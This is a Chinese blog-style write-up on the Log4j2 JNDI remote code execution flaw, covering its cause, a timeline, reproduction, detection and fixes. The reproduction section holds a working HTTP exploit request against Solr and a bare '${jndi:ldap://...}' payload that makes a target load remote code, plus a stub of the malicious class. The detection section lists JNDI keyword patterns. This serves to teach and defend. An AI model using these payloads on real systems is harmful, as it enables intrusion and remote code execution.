-
Log4j2简介
Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。
-
Log4j漏洞的过往
-
一洞一世界
包括但不限于的世界级应用:
Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
flume
dubbo
Redis
logstash
Kafka
-
一大一团灭
-
漏洞成因:
由用于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
简单来说,就是在打印日志时,如果发现日志内容中包含关键词 ${,那么这个里面包含的内容会当做变量来进行替换,导致攻击者可以任意执行命令。
由于线上 web 业务的任何数据都可能写入 Log4j,甚至一些 pre-auth 的地方,比如注册、登录,实际攻击入口取决于业务具体情况。目前百度搜索、苹果 iCloud 搜索、360 搜索等都出现了该问题。
-
时间轴:
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。
12 月 10 日上午,阿里云安全团队二次预警,发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过。
-
漏洞复现:
-
路径如下图
-
localhost的大家都玩过了,来点实操的应用,solr任意输入位触发如下:
-
一个大招快乐就来了,多段R更欢乐:
-
EXP:
n/cores?action=CREATE&config=solrconfig.xml&dataDir=data&instanceDir=new_core&name=new_core$${solr.home}{jndi:ldap://127.0.0.1:1389/Exploit}&schema=schema.xml&wt=json HTTP/1.1
Host: localhost:8983
Connection: keep-alive
sec-ch-ua: "Google Chrome";v="95", "Chromium";v="95", ";Not A Brand";v="99"
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
Authorization: Basic c29scjpTb2xyUm9ja3M=
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
sec-ch-ua-platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8983/solr/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,fr;q=0.6
Cookie: _ga=GA1.1.1693267119.1592276225; _gid=GA1.1.1739971691.1637660636
-
当然还有一种比较简单的方式,哪能插就插哪,多插多快乐:
${jndi:ldap://127.0.0.1:1389/Exploit}
-
这还需要一个“类”
Exploit.class
// IntelliJ API Decompiler stub source generated from a class file // Implementation of methods is not availablepublic class Exploit implements javax.naming.spi.ObjectFactory { public Exploit() { /* compiled code */ } public java.lang.Object getObjectInstance(java.lang.Object o, javax.naming.Name name, javax.naming.Context context, java.util.Hashtable , hashtable) { /* compiled code */ }}
-
漏洞排查
查看 pom.xml 是否引入 org.apache.logging.log4j、org.apache.logging.log4j2
-
Linux:
sudo find / -name "*log4j-*.jar"
-
Windows:
*log4j*.jar
-
攻击排查
-
日志排查:
攻击者在利用前通常采用dnslog方式进行扫描、探测,对于常见利用方式可通过应用系统报错日志中的
“javax.naming.CommunicationException”
“javax.naming.NamingException: problem generating object using object factory”
“Error looking up JNDI resource”关键字进行排查。
-
流量排查:
攻击者的数据包中可能存在:“${jndi:rmi”、“${jndi:ldap”字样,推荐使用奇安信网神网站应用安全云防护系统全流量或WAF设备进行检索排查。
-
修复
-
治标
1、由于攻击者在攻击过程中可能使用 DNSLog 进行漏洞探测,建议企业可以通过流量监测设备监控是否有相关 DNSLog 域名的请求,微步在线的 OneDNS 也已经识别主流 DNSLog 域名并支持拦截。2、根据目前微步在线对于此类漏洞的研究积累,我们建议企业可以通过监测相关流量或者日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击行为。
3、修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
4、修改配置 log4j2.formatMsgNoLookups=True
5、将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置 为 true
-
治本
1、禁止使用 log4j 服务器外连,升级 jdk 11.0.1 8u191 7u201 6u211 或更高版本。
2、升级至 log4j-2.15.0-rc2:
下载地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0- rc2
本文来源于互联网:一洞一世界,一大一团灭,翻车的log4j2